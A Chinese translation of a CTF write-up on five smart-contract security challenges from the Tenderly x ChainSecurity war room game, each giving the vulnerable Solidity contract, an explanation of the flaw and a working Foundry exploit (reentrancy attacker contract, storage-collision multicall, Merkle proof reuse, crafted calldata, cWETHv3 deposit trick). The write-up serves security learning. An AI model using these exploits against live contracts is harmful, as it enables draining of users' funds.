CTF挑战 - Tenderly与ChainSecurity 战时游戏

  • Bazzani
  • 发布于 2024-07-14 13:18
  • 阅读 15

文章详细介绍了Tenderly与ChainSecurity合作的CTF挑战,包括多个智能合约的安全漏洞分析和攻击实现,展示了对Solidity编程、合约漏洞以及攻击手法的深入理解与分析。每个挑战都包含了合约代码示例和相应的攻击逻辑,适合对区块链安全有一定基础的读者学习和参考。

Crushing Tenderly x ChainSecurity 战争室游戏在布鲁塞尔

最近,我有幸作为出色团队 unsafe 的一员参加了 Tenderly x ChainSecurity CTF at EthCC[7]。特别感谢 Tenderly 团队的组织工作;工具的设置准备得相当充分,文档也写得很清晰,我们能在几分钟内迅速开始解决挑战。我还想表扬我的队友 CairoDamian RusinekDaniel Von Fange 的高效表现和专业精神,他们带领团队成功,推动我们登上排行榜的顶端。

在这段简要介绍后,让我们深入每个级别的技术细节,共同重温一遍。挑战的代码和解法副本可以在 Tenderly & Chainsecurity 战争室游戏布鲁塞尔解决方案 的 GitHub 仓库中找到。

银行

第一个给出的挑战是 Bank 合约,该合约远未能确保用户资金的安全,反而包含一个隐藏的“特性”,允许完全提取所有资金。

contract Bank is Solvable {
    event Registration(address wallet);
    event Deregistration(address wallet);

    mapping(address => uint256) public balances;
    mapping(address => bool) public externalAccounts;

    error ContractAccount();
    error UnknownAccount();

    modifier onlyEOA(address addr) {
        if (isContract(addr)) revert ContractAccount();
        _;
    }

    modifier onlyRegWallets(address addr) {
        if (!externalAccounts[addr]) revert UnknownAccount();
        _;
    }

    constructor() payable {
        require(msg.value == 1 ether, "1 ether is required to deploy the bank!");
    }

    function registerWallet() external onlyEOA(msg.sender) {
        require(!externalAccounts[msg.sender], "Already registered");
        externalAccounts[msg.sender] = true;
        emit Registration(msg.sender);
    }

    function unregisterWallet() external onlyRegWallets(msg.sender) {
        externalAccounts[msg.sender] = false;
        emit Deregistration(msg.sender);
    }

    function deposit(uint256 amount) external payable onlyRegWallets(msg.sender) {
        require(msg.value == amount, "Insufficient funds");
        balances[msg.sender] += amount;
    }

    function depositFor(address wallet, uint256 amount) external payable onlyRegWallets(wallet) {
        require(msg.value == amount, "Insufficient funds");
        balances[wallet] += amount;
    }

    function withdraw() external onlyRegWallets(msg.sender) {
        uint256 balance = balances[msg.sender];
        require(balance > 0, "Nothing to withdraw");
        (bool sent,) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] = 0;
    }

    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            codehash := extcodehash(account)
        }
        return (codehash != accountHash && codehash != 0x0);
    }

    function isSolved() external view returns (bool) {
        return address(this).balance == 0;
    }
}

快速浏览合约后,两个明显的风险警告立即引起了注意 🚩。

  1. withdraw 函数未遵循 CEI 模式。 合约在更新余额之前就向用户发送了 Ether,使其成为重入攻击的目标 💀。但是,重入攻击需要在单个交易中原子性地执行一系列特定的调用,这涉及多次调用 withdraw 函数。这在 EOA 这一层面是无法做到的(至少没有 EIP-7702 的情况下)。onlyEOA 修饰符确保只有 EOA 能注册为钱包,保护 withdraw 函数免受重入攻击……但真的能做到吗?
  2. onlyEOA 修饰符依赖于 extcodehash 操作码来检测账户是 EOA 还是合约。 如果地址包含代码,它就不是 EOA,而是合约。然而,在合约构造期间,合约没有源代码可以用。因此,在构造函数执行期间,它可以对其他合约进行调用,但它的 extcodesize 返回值将为零。这使它被视为 EOA,从而允许合约在系统中注册为钱包 💀💀。

因此,攻击结合利用了这两个缺陷,提取合约中的所有资金。我们需要定义一个攻击者合约,在构造函数中将自己注册为钱包,并且包含一个调用 withdraw 的函数,以及一个在余额被置为零之前再次调用 withdraw 的回退函数,以便重新进入。

contract BankTest is Test {
    Bank public bank;

    function setUp() public {
        bank = new Bank{value: 1 ether}();
    }

    function test_solve() public {
        Attacker attacker = new Attacker(address(bank));
        attacker.attack{value: 1 ether}();
        assertTrue(bank.isSolved());
    }
}

contract Attacker {
    Bank public target;
    constructor(address _target ) payable {
        target = Bank(_target);
        target.registerWallet();
    }

    function attack() public payable{
        target.deposit{value: address(this).balance}(address(this).balance);
        target.withdraw();
    }

    fallback() external payable {
        if (address(target).balance > 0){
            target.withdraw();
        }
    }
}

MultiCall

下一个挑战名为 MultiCall,旨在考察我们对交易批处理和代理模式问题的理解。

contract MultiCallProxy is ERC1967Proxy, Solvable {
    address proposedAdmin;
    address admin;

    modifier onlyAdmin() {
        require(msg.sender == admin, "Not the admin");
        _;
    }

    constructor(address initialImpl) ERC1967Proxy(initialImpl, "") {
        admin = msg.sender;
    }

    function proposeAdmin(address newProposedAdmin) public payable {
        require(msg.value == 1 ether, "1 ether is required to propose an admin");
        proposedAdmin = newProposedAdmin;
    }

    function approveAdmin(address approvedAdmin) public onlyAdmin {
        require(proposedAdmin == approvedAdmin, "Invalid admin to approve");
        admin = proposedAdmin;
    }

    function isSolved() external view returns (bool) {
        return address(this).balance == 0;
    }
}

contract MultiCall {
    bool depositLocked;
    address admin;
    mapping(address => uint256) public balances;

    modifier onlyDepositUnlocked() {
        require(!depositLocked, "Deposit is locked");
        _;
    }

    function deposit() external payable onlyDepositUnlocked {
        balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value) external {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;

        payable(to).transfer(value);
    }

    function multicall(bytes[] calldata dataArray) external payable {
        depositLocked = false;
        for (uint256 i = 0; i < dataArray.length; i++) {
            bytes memory data = dataArray[i];
            bytes4 selector = getSelector(data);

            require(selector != MultiCall.multicall.selector, "Multicall cannot call multicall");

            (bool success,) = address(this).delegatecall(data);
            require(success, "Error while delegating call");

            if (selector == MultiCall.deposit.selector) {
                depositLocked = true;
            }
        }
        depositLocked = false;
    }

    function getSelector(bytes memory data) private pure returns (bytes4) {
        bytes4 selector;
        assembly {
            selector := mload(add(data, 32))
        }
        return selector;
    }
}

对于我们这样的区块链安全专家来说,MultiCallMultiCallProxy 立即表现出一些代码的潜在问题 👃,可能会暴露出关键的漏洞。

  1. multicall 函数在循环中使用了 delegatecall 方法。 这一模式通常应该避免,因为在调用栈中其他调用中重用调用上下文(特别是重用 msg.value)带来的潜在风险。然而,msg.value 仅在 deposit 函数中使用,而该函数由 onlyDepositUnlocked 修饰符保护。该修饰符作为互斥锁,防止对 deposit 函数的多次调用和 msg.value 的重用……但真的能做到吗?
  2. 代理模式存储冲突。 尽管 MultiCallProxyERC1967Proxy 继承,它旨在避免在代理和实现之间的存储冲突,但它定义了两个额外的存储变量,与 MultiCall 实现变量发生冲突。如下图所示,MultiCallProxyproposedAdmin 变量(淡蓝色)可以被任何向合约支付 1 ether 的人自由设置,与 depositLocked 变量(粉色)冲突。因此,任何向合约支付 1 ether 的人都可以禁用 onlyDepositUnlocked 保护,并在存款中重用 msg.value 💀。

在提出的攻击中,我们精心制作了一个 multicall 批次,欺骗合约接受了两倍于攻击者实际提供的金额的存款。该 multicall 批次的执行后,允许我们随后提取所有资金,有效地抽空了合约。

contract MultiCallTest is Test {
    MultiCall public multiCall;

    function setUp() public {
        address multiCallImpl = address(new MultiCall());
        multiCall = MultiCall(address(new MultiCallProxy(multiCallImpl)));
        multiCall.deposit{value: 1 ether}();
    }

    function test_solve() public {
        address attacker = makeAddr("Attacker");
        vm.deal(attacker, 1 ether);

        bytes[] memory payload = new bytes[](3);
        payload[0] = abi.encodeCall(MultiCall.deposit, ()); // 存款
        payload[1] = abi.encodeCall(MultiCallProxy.proposeAdmin, (address(0))); // 重置重入保护
        payload[2] = abi.encodeCall(MultiCall.deposit, ()); // 重用 msg.value 进行存款

        vm.startPrank(attacker);
        multiCall.multicall{value: 1 ether}(payload);
        multiCall.execute(attacker, 2 ether);

        assertTrue(MultiCallProxy(payable(address(multiCall))).isSolved());
    }
}

MerkleAirDrop

接下来的挑战名为 MerkleAirDrop。我们攻击的目标合约是通过 MerkleAirDropFactory 工厂部署的空投代币 ShinyToken

contract ShinyToken is Ownable, EIP712, ERC20, Solvable {
    mapping(uint256 => uint256) private redeemed; // 位图
    bytes32 private rootHash;
    uint256 private totLeaves;
    uint256 public numRedemptions;
    // 抽奖数据结构(未实现)

    bytes32 public constant DROP_TYPEHASH = keccak256("Drop(address user,uint256 amount,bool premium)");

    constructor() Ownable(msg.sender) EIP712("MerkleAirDrop", "1") ERC20("ShinyToken", "SHNY") {}

    function setTree(bytes32 _rootHash, uint256 _totLeaves) external onlyOwner {
        rootHash = _rootHash;
        totLeaves = _totLeaves;
    }

    function isRedeemed(uint256 index) public view returns (bool) {
        uint256 wordIndex = index / 256;
        uint256 bitIndex = index % 256;
        uint256 word = redeemed[wordIndex];
        uint256 mask = (1 << bitIndex);
        return word & mask == mask;
    }

    function _setRedeemed(uint256 index) private {
        uint256 wordIndex = index / 256;
        uint256 bitIndex = index % 256;
        uint256 mask = (1 << bitIndex);
        redeemed[wordIndex] |= mask;
    }

    // 使用显式信用账户,而不是 msg.sender,以便他人
    // 可能调用此函数来支付用户的Gas费用。
    function redeem(address user, uint256 amount, bool premium, uint256 leafIndex, bytes32[] calldata proof) external {
        require(leafIndex < totLeaves, "Leaf index out of bounds");
        require(!isRedeemed(leafIndex), "Replay protection");
        _setRedeemed(leafIndex);

        // 重建叶子的哈希,包括特殊属性
        bytes32 leafHash = _hashDrop(user, amount, premium);
        require(MerkleProof.verifyCalldata(proof, rootHash, leafHash), "Verification failed");

        // 赎回
        if (numRedemptions++ < 1000) {
            amount *= 2;
        }
        _mint(user, amount);

        if (premium) {
            // 抽奖逻辑
        }

        return;
    }

    function _hashDrop(address user, uint256 amount, bool premium) private view returns (bytes32) {
        return _hashTypedDataV4(keccak256(abi.encode(DROP_TYPEHASH, user, amount, premium)));
    }

    // 当所有空投都已被赎回时,挑战即算解决。
    function isSolved() external view returns (bool) {
        return numRedemptions == totLeaves;
    }
}

解决此挑战足以重现 MerkleAirDropFactory 在部署期间生成的正确 merkle 证明,并将其提交给 ShinyToken。然而,这并不代表对合约的攻击,它存在一个严重的漏洞,可能会破坏空投机制。

正如我们在赎回机制中所见合约具有的重放保护,保护其避免多次证明特定叶子包含证明的问题。然而,由于 OpenZeppelin 的 MerkleProof 库假设每对叶子是排序的,验证工具在验证过程中并未使用叶子索引。因此,验证时没有约束将叶子索引与特定的包含证明联系起来,允许一个证明在不同的叶子索引之间重用。因此,我们可以设计一个攻击,使用有效证明重用不同的叶子索引,铸造出比最初分配给对手地址的代币数量多出一倍的代币。

contract MerkleAirDropTest is Test {
    address public immutable advAddress = makeAddr("advAddress");
    ShinyToken public shinyToken;

    function setUp() public {
        shinyToken = ShinyToken(MerkleAirDropFactory.deploy(advAddress));
    }

    function test_solve() public {
        // 为对手生成有效证明
        bytes32 leafHash = _hashDrop(advAddress, 100, false, shinyToken);
        bytes32[] memory proof = new bytes32[](1);
        proof[0]  = _hashDrop(0x0000000000000000000000000000bEEFBeeFBeEF, 300, true, shinyToken);
        // 重用相同的证明来铸造所有的空投给对手
        shinyToken.redeem(advAddress, 100, false, 0, proof);
        shinyToken.redeem(advAddress, 100, false, 1, proof);

        assertEq(shinyToken.balanceOf(advAddress), 400);
        assertTrue(shinyToken.isSolved());
    }

    bytes32 public constant DROP_TYPEHASH = keccak256("Drop(address user,uint256 amount,bool premium)");
    bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");

    function _hashDrop(address user, uint256 amount, bool premium, ShinyToken token) private view returns (bytes32) {
        return _hashTypedDataV4(keccak256(abi.encode(DROP_TYPEHASH, user, amount, premium)), token);
    }

    function _hashTypedDataV4(bytes32 structHash, ShinyToken token) internal view returns (bytes32) {
        return MessageHashUtils.toTypedDataHash(_buildDomainSeparator(token), structHash);
    }

    function _buildDomainSeparator(ShinyToken token) private view returns (bytes32) {
        return keccak256(
            abi.encode(EIP712DOMAIN_TYPEHASH, keccak256("MerkleAirDrop"), keccak256("1"), block.chainid, address(token))
        );
    }
}

ABIOptimizooor

倒数第二个挑战是一个名为 ABIOptimizooor 的合约。该挑战旨在测试我们对 ABI 的理解,尤其是 Solidity 动态类型 如何进行 ABI 编码。

contract ABIOptimizooor is Solvable {
    bool solved;

    function foo(uint256[] calldata x, uint256[] calldata y, uint256[] calldata z) external {
        assert(msg.data.length <= 196);
        assert(x.length == 0);
        assert(y.length == 2);
        assert(z.length == 2);
        solved = true;
    }

    function isSolved() external view returns (bool) {
        return solved;
    }
}

解决挑战时,foo 函数期望接收三个长度分别为 0, 2 和 2 的动态数组作为参数。HashEx ABI 编码器 工具有助于生成编码的 calldata 有效负载,并可视化编码调用的外观。在这种情况下,一次有效调用将如下所示:

 bytes memory _calldata =abi.encodePacked(ABIOptimizooor.foo.selector,
   bytes32(0x0000000000000000000000000000000000000000000000000000000000000060),// 指向 x
   bytes32(0x0000000000000000000000000000000000000000000000000000000000000080),// 指向 y
   bytes32(0x00000000000000000000000000000000000000000000000000000000000000e0),// 指向 z
   bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// x.length = 0
   bytes32(0x0000000000000000000000000000000000000000000000000000000000000002),// y.length = 2
   bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// y[0] = 0
   bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// y[1] = 0
   bytes32(0x0000000000000000000000000000000000000000000000000000000000000002),// z.length = 2
   bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// z[0] = 0
   bytes32(0x0000000000000000000000000000000000000000000000000000000000000000) // z[1] = 0
);

然而,该有效负载的长度为 324 字节,这使它未能符合通过关卡所需的第一个约束,但它可以作为压缩和制作具有黑客旨的有效负载的基础,以满足所有四个约束。

  • 由于要求 yz 的长度相同,我们可以将它们的指针指向 calldata 中相同的偏移量,减少有效负载 96 字节,但这还不够。
  • 为了减去额外所需的 32 字节,我们可以利用用于 yz 数据的某个槽,将 x 指向那里。

最终制作的 calldata 有效负载如下所示:

contract ABIOptimizooorTest is Test {
    ABIOptimizooor public abiOptimizooor;

    function setUp() public {
        abiOptimizooor = new ABIOptimizooor();
    }

    function test_solve() public {
        bytes memory _calldata =abi.encodePacked(ABIOptimizooor.foo.selector,
            bytes32(0x0000000000000000000000000000000000000000000000000000000000000080),// 指向 x
            bytes32(0x0000000000000000000000000000000000000000000000000000000000000060),// 指向 y
            bytes32(0x0000000000000000000000000000000000000000000000000000000000000060),// 指向 z
            bytes32(0x0000000000000000000000000000000000000000000000000000000000000002),// y.length = 2 & z.length = 2
            bytes32(0x0000000000000000000000000000000000000000000000000000000000000000),// y[0] = 0 & z[0] = 0 & x.length = 0
            bytes32(0x0000000000000000000000000000000000000000000000000000000000000000) // y[1] = 0 & z[1] = 0
            );

        address(abiOptimizooor).call(_calldata);
        assertTrue(abiOptimizooor.isSolved());
    }
}

保险库

最后一个挑战称为 Vault,它旨在测试我们对生态系统中不同 ERC20 代币实现细节的知识,因为 Vault 合约与其中的几个进行交互。因此,为了能够在本地解决该级别,我们必须在主网的分叉上运行攻击。

contract Vault is Solvable {
    // 预定义的 ERC20 代币列表
    IERC20[] public allowedTokens;
    mapping(address => mapping(IERC20 => uint256)) public balances;
    mapping(IERC20 => uint256) public totalBalances;

    constructor() {
        allowedTokens = [\
            IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F),\
            IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48),\
            IERC20(0xD37EE7e4f452C6638c96536e68090De8cBcdb583),\
            IERC20(0xA17581A9E3356d9A858b789D68B4d866e593aE94),\
            IERC20(0xbe0Ed4138121EcFC5c0E56B40517da27E6c5226B)\
        ];
    }

    // 检查代币是否被允许的修饰符
    modifier onlyAllowedToken(IERC20 token) {
        require(isTokenAllowed(token), "Token is not allowed");
        _;
    }

    function allAllowedTokens() external view returns (IERC20[] memory) {
        return allowedTokens;
    }

    // 检查代币是否被允许的函数
    function isTokenAllowed(IERC20 token) public view returns (bool) {
        for (uint256 i = 0; i < allowedTokens.length; i++) {
            if (allowedTokens[i] == token) {
                return true;
            }
        }
        return false;
    }

    // 存款函数
    function deposit(IERC20 token, uint256 amount) external onlyAllowedToken(token) {
        require(amount > 0, "Amount must be greater than 0");
        require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");

        balances[msg.sender][token] += amount;
        totalBalances[token] += amount;
    }

    // 提款函数
    function withdraw(IERC20 token, uint256 amount) external onlyAllowedToken(token) {
        require(amount > 0, "Amount must be greater than 0");
        require(balances[msg.sender][token] >= amount, "Insufficient balance");

        balances[msg.sender][token] -= amount;
        totalBalances[token] -= amount;
        require(token.transfer(msg.sender, amount), "Transfer failed");
    }

    function isSolved() external view returns (bool) {
        for (uint256 i = 0; i < allowedTokens.length; i++) {
            if (totalBalances[allowedTokens[i]] >= 2 ** 128) {
                return true;
            }
        }
        return false;
    }
}

经过快速审查给出的代码后,未确认存在问题,但“问题在细节中”。幸运的是,Weird ERC20 Tokens 仓库汇总了关于生态系统中不同代币的信息,其中可能存在意外行为。经过快速分析这些代币的列表可以识别出两个特殊的代币。

  1. 0x6B17…1d0F Dai 稳定币 (DAI) 允许瞬时铸币。
  2. 0xA175…aE94 Compound WETH (cWETHv3) 允许在数量为 type(uint256).max 时转移发送者的整个余额。

最有趣的是 cWETHv3,如你可能已发现,存款函数可以被操控,以接受实际发送 0 代币的 type(uint256).max 的存款。

contract VaultTest is Test {
    Vault public vault;

    function setUp() public {
        vault = new Vault();
    }

    function test_solve() public {
        address cWETHv3 = 0xA17581A9E3356d9A858b789D68B4d866e593aE94;
        cWETHv3.call(abi.encodeWithSignature("allow(address,bool)",address(vault), true ));
        vault.deposit(IERC20(cWETHv3), type(uint256).max);
        assertTrue(vault.isSolved());
    }
}
  • 原文链接: medium.com/@bazzanigianf...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Bazzani
Bazzani
Blockchain Security Researcher @ OpenZeppelin